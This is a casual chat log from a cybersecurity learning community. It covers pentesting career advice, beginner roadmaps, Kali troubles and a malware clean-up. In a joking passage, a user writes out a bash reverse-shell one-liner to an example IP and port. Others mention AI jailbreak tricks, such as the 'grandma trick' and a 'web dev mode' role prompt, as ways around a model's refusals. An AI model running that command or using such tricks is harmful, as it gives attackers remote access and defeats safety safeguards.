Sounds like an excellent question for your favorite search engine

[dawn grove]

Only two pop up and aren’t the basics, this is why i asked

[sick lance]

What did you search?

[dawn grove]

There’s setting up and data manipulation

[sick lance]

I got 4 pages of results.

[dawn grove]

Js “splunk”

Hold on

[near sapphire]

Maybe its paid room

[sick lance]

They're a subscriber?

[near sapphire]

Oh didnt check

[dawn grove]

Oh my browser wasn’t loading the rest of the rooms, sorry man

[sick lance]

No worries 😄

[dawn grove]

My bad man

Cuz I’m doing thm on iPad and sometimes the browser glitches

[sick lance]

Website isn't optimised for smaller screens.

[dawn grove]

Yea I know but when I’m not home I do it on iPad, still runs well but sometimes needs a page refresh but for running an attackbox inside it you can’t comply

[runic copper]

Any professional Red teamer here ?

[naive violet]

I've done some

[runic copper]

That side of the industry is really fascinating I want to go down that path, not sure if we are able to talk about other platforms here but I wanted to ask if there is any other platforms where I could take more learning courses and get certified. I wanted to get hired and do that full time

Within a 1-2 year time spam

[naive violet]

Red teaming specifically, or offensive security/security testing?

Do you have experience already?

[runic copper]

Yes, and no I have minimal experience

[naive violet]

Those were two different options with an XOR

[runic copper]

Can you explain XOR to me in the simplest terms possible, I just googled it I don’t really understand.

[naive violet]

Either red teaming OR offensive security/security testing, but not both.

They are different things

[runic copper]

Ah yes, red and blue. I prefer red

[naive violet]

Red teaming is different from being on the red team

[runic copper]

Wait you said “offensive ”

[naive violet]

The red team is basically any offensive security, including pentesting.
Red teaming, specifically, is above and beyond your usual pentest in skill and scope

[runic copper]

I did not read properly, but essentially I want to get into phishing on a corporate level

[naive violet]

That's a tiny component of a larger security program

[runic copper]

I saw a video where this guy started his own company after working under another one for 10 years and he is extremely successful

[runic copper]

What would I have to master to have a qualified resume ?

[naive violet]

Generally experience in IT and/or security first

It's very difficult to jump that, and particularly into red teaming (not being on the red team)
It can be easier to jump the requirement to get into offensive security but typically a red teamer would have a good few years in offensive security first

[runic copper]

Okay so I will have a really long road ahead of me

Do you think 1-2 years is a fair time frame to give myself ?

[naive violet]

For what end goal?

[runic copper]

I feel like 2 years won’t look great on a resume due to the competition. My end goal is to work for a security firm and be conducting security tests by companies that contract us. Even longer end goal is to start my own firm one day.

[naive violet]

So that's just offensive security, security testing, pentesting

2 years of what, though?
2 years of experience in IT, with one of those being in security? Definitely reasonable
2 years of practice on sites? Going to be more difficult

[runic copper]

I guess I’m not too sure I haven’t really set a plan but this made me think… a lot of people with the positions I want probably did a lot of time learning and then they got jobs for IT then transitioned to other positions before ending up where they are

I meant 2 years of learning on tryhack me or other platforms, could that be sufficient for a resume ? It’s also the reason I asked about other platforms for certifications

[naive violet]

Practice and learning like that doesn't count as experience

You will be at a disadvantage and people will not want to take a chance on you

[runic copper]

Okay noted.

[runic copper]

And yeah that is reasonable to say. So I would really need to get a job in IT build up connections and real work experience for some time

[naive violet]

That doesn't mean it's impossible

People do it, it's just difficult

[runic copper]

Yeah but the safer route seems more feasible

I would rather get in early than later if that makes sense

Do you work as a red teamer or just practice ?

[naive violet]

I'm a senior penetration tester that does red teaming, amongst normal pentest activities

[runic copper]

Oh cool, pentesting is something that is interesting to me too it just seems like a very very long journey to learn, but I see what your saying, red teaming is not simply phishing, there is a multitude of objectives a red teamer does when conducting their work

[naive violet]

Phishing is a standalone activity sometimes too

But a lot of it is automated and is very unexciting

[runic copper]

It seemed exciting but I’ll take your word for it as you obviously have actual experience

[naive violet]

There's not enough demand for it to have someone doing it as their only activity

[runic copper]

That makes sense. I have a lot more to contemplate now.

On the pentesting side When you get hired to conduct security analysis on a company you are essentially attempting to break into a websites back end of things and find vulnerabilities that could be used to expose sensitive information or exploit for financial gain and or just for malicious intent right

Basically website hacking

[naive violet]

Not just websites

Networks, desktop applications, factories, hardware appliances, laptops

[runic copper]

Man, this is a lot to take in. I don’t know how long it will take but I feel like this may take a couple years longer than I expected to really get into the industry

[naive violet]

It's a lot of work but it is possible

[crystal moss]

https://cybersecuritynews.com/enabling-incognito-mode-in-rdp/?fbclid=IwY2xjawI5Bh5leHRuA2FlbQIxMQABHd0XA6w8mZU-G0HFYsr38oq9W6rYktk9hYSvI0PYaxL4wS_JBEnYJn0_0g_aem_8uPKVz6RzzXCoSs55JVpOA

Not good for the security..

[runic copper]

Doing this is not good for security?

[steel aspen]

I might have a bit of a big problem 😎

Did full-upgrade and well

Will this reinstall?

[sick lance]

Might remove that and install a new one.

This is why I don't bother upgrading Kali, and just download the latest release.

[steel aspen]

Don't I have to transfer everything tho

#room-help

[sick lance]

It's a price I'm willing to pay via folders and bash scripts. 🙂

[bold zodiac]

am not able to join room as a team ?

what to do ?

in Hakfinity

[steel aspen]

Do u just keep stuff on the cloud?

It'd be good if there was an easy way to transfer files from vm to vm

Or not transferring but keeping the distro updated and keeping files lol

[sick lance]

#1347217239492919346 please.

[pallid lotus]

That's called "package upgrades"...

Although snarkiness aside, the most seamless approach to what you're suggesting would be mounting a SAN drive to your home directory.

[steel aspen]

Oh yeah

[golden yew]

good night U guys

[steel aspen]

Night

Full upgrade does everything though, right? Network stuff too.

[whole gazelle]

morning gamers!

[rapid merlin]

👀
👄

You just woke up ay

Good afternoon

[lavish rune]

Good morning people

[manic cliff]

Hello, how are you? I want foundation courses for cyber security if you have

[naive violet]

tryhackme.com

[sturdy pike]

Bro

Was there an everyone ping here?

Or did someone ghost ping me?

[lavish rune]

probably this

[sterile lance]

hello,
are there anyone who know exact room order to learn Digital Forensics ?

because, there are some modules and rooms, but all of them require to complete another room as prerequisite.
pls assist me to create correct order to learn Digital Forensics

[cloud quiver]

You can follow this module 🙂
https://tryhackme.com/module/digital-forensics-and-incident-response

[crystal moss]

if you think about it a bit.. How good is it that you can run a session over RDP without the client knowing or noticing?

[sturdy pike]

All of em, you can DM them to me or share here haha

[cloud quiver]

I shared one above but none of them are 100% complete 😄

[sterile lance]

thanks a lot

[twin ridge]

Gave +1 Rep to @cloud quiver (current: #1 - 3789)

[sturdy pike]

Did your smile change because of becoming room tester?

[sturdy pike]

Ahh, I thought i saw that one, thanks!

[twin ridge]

Gave +1 Rep to @lavish rune (current: #1083 - 4)

[cloud quiver]

No , I usually use mix of 😄 and 🙂

[lavish rune]

For some reason my laptop's first screen just randomly goes black, I've tried to refresh my graphics card by pressing win+shift+ctrl+b but it doesn't work till I restart my device, any ideas on why?

It's a pretty decent laptop with good specs

[rough tapir]

Check event viewer and reliability monitor for associated events, and see if it happens w the laptop screen at different angles could e loose connection too

[sturdy pike]

First one suits better but that's my opinion

[cloud quiver]

🙂

[sturdy pike]

I made a big typo lol

First one

[lavish rune]

Reliability monitor only showed me not properly shutting down my laptop after my screen went black

[sturdy pike]

Why does discord take away the channels again and again

[lavish rune]

I don't know how to understand event viewer errors but it cant be any critical because I've had it moe than 2 times

[sturdy pike]

Its annoying

[lavish rune]

Press on the little arrow and choose "show all channels"

[sturdy pike]

Its been a few times that I've selected that option again and again

[lavish rune]

That's weird

stays there for me

[sturdy pike]

Maybe a glitch

Who knows

[mortal vale]

guys i started try hack me 2 days ago, im a newbie in cyber security but i know a bit about computers, is there a roadmap i should follow to learn cyber security, or just keep on track with what there us to offer on the website on THM

i found cyber security much more interesting than writing code in C

[sturdy pike]

My first suggestion will be to check out #start-here channel, and if you've already done that then there are pathways on THM which you follow to clear up your Fundamentals then you can proceed to advanced concepts from there.

[mortal vale]

alright, thanks for the suggestion i will check it out

[twin ridge]

Gave +1 Rep to @sturdy pike (current: #116 - 69)

[wooden totem]

when you sign out or client updates it unselects stuff

[sturdy pike]

You can then see what you like i.e. cryptography, web exploitation, etc. Then follow up the pathways which are after the Fundamentals.

[sturdy pike]

Discord updates everyday 😦

[wooden totem]

A very rare thing that happened 4 days ago; A bug crawled on my wall right where my monitor is so I was watching it the whole time, then it stopped moving and it's still there rn. I watched a bug die naturally

[lavish rune]

I've searched from id -9 to 9 😔

[sturdy pike]

But did you solve the bug on your code?

[mortal vale]

alright, thanks for the help tho, is there any other topic i should research a bit more about that isn't avaliable on THM but is necessary?

[wooden totem]

there's more bugs on my wall than on my pc

[upper knoll]

Hope over to #room-help someone will probably be able to help ya there

[wooden totem]

that's going on my resume

[void thunder]

Completely depends on which path you wish to follow, but yes look into other sources of info

[mortal vale]

i think im too new to decide that right now lmao

[manic cliff]

❤️

[lavish rune]

Oh my bad didnt see that

[sturdy pike]

If i remember correctly, THM gives you an overview on the jobs and career paths you can follow, this is in the pre-security pathway, but don't only take THM as the sole source of Information, do your own research side by side too.

[void thunder]

That's fine, starting out with tryhackme, especially the prac rooms is a great starting point

[mortal vale]

btw, am i starting cyber security too late? i know people who started it at 13, im 15 now and ill be in the 9th class after summer

[wooden totem]

you can start at 40 and it won't be too late

[upper knoll]

All good gl

[void thunder]

There's no such thing as starting too late in a career, as long as you're committed to learning, you will be fine

[sturdy pike]

Its never too late, don't worry, you'll do just good if you're consistent.

[mortal vale]

i hope so, i have a three day streak now 😄

[sturdy pike]

Aye thats cool, hoping to see that in double or even triple digits haha, you got it! 😄

[mortal vale]

thanks, i appreciate the motivation 😄

[twin ridge]

Gave +1 Rep to @sturdy pike (current: #114 - 70)

[wooden totem]

don't focus on daily streaks, it will feel like a chore after some time. Try taking it at your own pace with breaks

[grizzled wing]

🍪

[sturdy pike]

🥦

[grizzled wing]

🎉

[sturdy pike]

🎊

[grizzled wing]

ha

[sturdy pike]

🐧

Ha

[grizzled wing]

best ones

[sturdy pike]

😎

Yeah

Sudo!

[mellow narwhal]

[grizzled wing]

what did you hack today?

cookies!

[sturdy pike]

Hacked my brain into happiness

[grizzled wing]

Zagreus hacked using 🖊️

[mellow narwhal]

real

I tested old pens and threw away the ones whose ink had dried

I guess i did pentesting

[sturdy pike]

Lmao

[grizzled wing]

Hello ,
I am Zagreus emperor of this land, I am stuck in a holding cell, please send me your confidential information

something like that

[sturdy pike]

They don't want bail money anymore?

[mortal vale]

what does this mean, "In terms of PCI DSS, what does CHD stand for?"

[mellow narwhal]

I am the prince of Nigeria and I'm in need of financial assistance

[grizzled wing]

an improvement of the Nigerian Prince

[mortal vale]

there isnt a mention of chd in the governence topic

[mellow narwhal]

help and I'll give you half my empire 🤣

[mortal vale]

i mean in the slide im in right now

[grizzled wing]

💸

[sturdy pike]

Ohhh dayummm

[cloud quiver]

What's the problem you need help with 🙂 ?

[sturdy pike]

Lmfaoo

[mellow narwhal]

Just joking. I was pretending to be the Nigerian prince 🤣

[grizzled wing]

haha

[sturdy pike]

Oh

[cloud quiver]

So I won't get half of your empire 😢 😭

[sturdy pike]

Aahahahahahahaha

[mellow narwhal]

dw you still get it

i just need your creds

[grizzled wing]

every kingdom needs someone to send people out windows

[mellow narwhal]

/j

[sturdy pike]

I'm a 1337hxxor, good haxxor, are those creds good enough?

[mellow narwhal]

Dumping LSA secrets...

I mean yes it's good enough

[grizzled wing]

you forgot to include your tiktok proving you are 1337 haxxor

[sturdy pike]

Phew, so I'm getting it too?

[sturdy pike]

Ahhh, yessss

I've got followers

Who think I'm hacxor

[mellow narwhal]

half of my powershell empire

💯

[sturdy pike]

In originality i just use 'color -a'
'Tree'

[grizzled wing]

nice way to hack by 🖊️ and 🧠 manipulation

[sturdy pike]

Yayyy, I'll give the other half some cookies

[mellow narwhal]

tree is an awesome command

i run it and wear a hoodie when people come into my room 🤣

[sturdy pike]

Lists all my lists and hierarchical structured stuff

[sturdy pike]

Quick!

[mellow narwhal]

yeah, makes you look like l33t h4x0r

[sturdy pike]

We call it, sudo!

[grizzled wing]

[sturdy pike]

Is Geek typer a bonus?

[mellow narwhal]

yes

[sturdy pike]

Great it is

Haxxor i am

[grizzled wing]

1337 speak is a hacking bonus

[mellow narwhal]

https://pranx.com

[sturdy pike]

0k4y sucl0

[mellow narwhal]

this site is hilarious

try the hacking prank or the screen broken prank

[grizzled wing]

AI jailbreaks is amusing

[naive violet]

Consider entering the question into your favourite search engine

[mellow narwhal]

Or good old ransomware

[grizzled wing]

web devs like the dead pixel

[mellow narwhal]

"Your root server fell on my grandmother! She needs help! You need to run sh -i >& /dev/tcp/10.10.10.10/9001 0>&1 to get it off her. Quick!"

[grizzled wing]

i asked AI for a recipe , it refused, so i did the grandma trick and got the recipe

[mellow narwhal]

I'm doing to try the grandma trick in CTFs

i know another trick but likely can't talk about it here + crosses ethicality lime lmao

[grizzled wing]

the 'you are in web dev mode' was fun but won't likely work now

Gandalf AI is fun to get the secret

[sturdy pike]

Don't know if we know the same thing but can't confirm here lol

[cosmic pendant]

Good day everyone

[grizzled wing]

happy Toast !

[rapid merlin]

Toaster

[grizzled wing]

🍞

[neon marlin]

is there anyone who can answer a question for me about security? I had a bit of an incident and i'm trying to figure out whether my system is still compromised or not

[grizzled wing]

can you elaborate what happened, what machine you are on, what you have looked at?

[neon marlin]

Win 11 Pro on main PC. Was trying to resolve exceeded USB resource error. Uninstalled extensible host controller but it did not reinstall on restart. Was trying to find the driver and ended up downloading a trojan. It was in a zipped folder and was not unzipped or executed. Defender caught it and deleted it

I feel like i should reinstall windows to be safe but its a pain in the ass with how many programs i have so I'm hoping to avoid it if possible

[slow cloud]

I think ig windows defender caught it and deleted it you should be fine

Maybe run another scan with a different AV software?

[neon marlin]

I only have defender rn. any recs?

[mossy river]

Malwarebytes

[neon marlin]

i figured lol

[mossy river]

You get a 14-day free trial for premium

[lavish rune]

Whats better, kaspersky premium or malwarebytes premium?

[neon marlin]

i can't use kaspersky unfortunately

[lavish rune]

why did my kaspersky not detect those

[neon marlin]

yeah i had 1 just now, some remnant of the incident

[lavish rune]

might be false positives

[upper knoll]

They don’t all nessicarly share the exact shame database of malware they are both valid options

Best anti malware is good sense and good password policy

I just gave anti malware as a stop gap if I think anything has happened

[lavish rune]

Ah

[grizzled wing]

kaspersky is considered malware itself by the US gov't

[lavish rune]

dang

[half girder]

still

[neon marlin]

yup

[half girder]

https://tenor.com/view/america-hurricane-happy4th-of-july-america-flag-independence-day-gif-9338065310670481220

[neon marlin]

well malware bytes did find the leftover bundle installer so im hoping thats everything

i feel dumb for even downloading it in the first place but i just assumed https was gonna save me

[grizzled wing]

i have VirusTotal bookmarked on my browser

same with urlscan

[neon marlin]

i probably should

[lavish rune]

I think those detections came from my 11 year old self wanting to hack on roblox and minecraft

[neon marlin]

wild thing was all it took was restarting again for the host controller to reinstall

[lavish rune]

oh would u look at that, 3 more

11?!

damn 😭

[neon marlin]

uhhhhhhhhh

[lavish rune]

im starting to get concerned

[neon marlin]

bro is under siege

[lavish rune]

oh I am DEFINETLY deleting kaspersky after this

been paying for premium for years now and its failed to detect any of this

only thing it did was detect kali linux

[neon marlin]

malwarebytes and defender seem to be the top dogs

[lavish rune]

fr

[lavish rune]

and it's only 10% done of scanning all items

I should've ran a scan a while ago afte I went out my little roblox phase

welp

better late than never am I right

taha!

[rapid merlin]

Malware bytes is noice

Rkill

[lavish rune]

fr

[neon marlin]

i end up redownloading windows every 3-6 months anyways just to be safe. its a headache but malwarebytes only found the 1 threat so it helps

[whole yew]

Without looking closely at the detections, it may be that those are false positives. You have to actually look at the results and understand what the report actually says.

[lavish rune]

Yeah that's what I'm going to do

[whole yew]

If you have a kali ISO in the path of the scan, there will be false positives from that.

[neon marlin]

thats true, defender does flag a lot of things that i knew were trustable

[lavish rune]

Oh true, but It scanned 5 at the start which I believe were just kali, but then 7 more after 200k items scanned

[whole yew]

It's understandable. When you understand how heuristic scanning works, there is going to be some benign that looks malicious.

[lavish rune]

thats why I'm getting concerned

[whole yew]

Before having a freak out, please look at the results carefully and see what makes sense.

[lavish rune]

Yeah will do

[whole yew]

I have seen some 3rd party AV tell me that some windows sys components were malicious.... on a fresh install.

[neon marlin]

it should give you the folder path that will tell you if its part of a reputable program or something obscure

[whole yew]

Because the component had been updated and the AV was not correctly whitelisting due to the newness of the updated file.

[lavish rune]

I mean If they were there the entire time and it wasnt anything so segnificant for me to notice there is no reason to panic, if they are malicious I'll just delete them with the proper tool or if malwarebytes offers complete deletion ill just use that

[whole yew]

Windows Defender at the very least should be able to quarantine actually malicious files.

Worst case, you boot into safe mode and run the cleaning tools.

[lavish rune]

yeah

whats "utorrent web"

I have never installed that thing

[whole yew]

Look at ports, look at the actual .exe file name and path, google it

Some games use torrents for updates, especially ones that aren't from a popular distribution platform

[lavish rune]

How do I check for ports? and what good will that do

I have little to no knowledge, apologies

It's mostly in appdata and my one drive, but aside that the rest are false positives

[void thunder]

Just a torrenting client, not one I would suggest though

[lavish rune]

i'd assume this one is to, but since I don't quite play any games nor do I need utorrent so ill just delete it

[whole yew]

is it running a listener? Is it connecting out? Netstat and windows firewall are good tools to learn how to read.

Well, if somethign you actually uses breaks, you'll know why

[lavish rune]

Well, I ran netstat and I can see alot of connections how do I know what is malicious and what isn't?

[void thunder]

Completely up to what you have setup on your machine

Look at the ESTABLISHED and LISTENING connections, if you don't recognize the port or IP, investigate what they're used for and where the ip goes

[lavish rune]

no listening ones, but a TON of established, Ill start checking thjem out

[whole yew]

Lots of googling. Most of what you're seeing is normal for any OS, as you will likely have a ton of background services for things you use that constantly check for updates and send out user experience feedback data.

[lavish rune]

Ah alright

[grizzled wing]

ls -d */ forgot this command, sharing is caring

[lavish rune]

alright yeah the utorrent was a fake one

just masked itself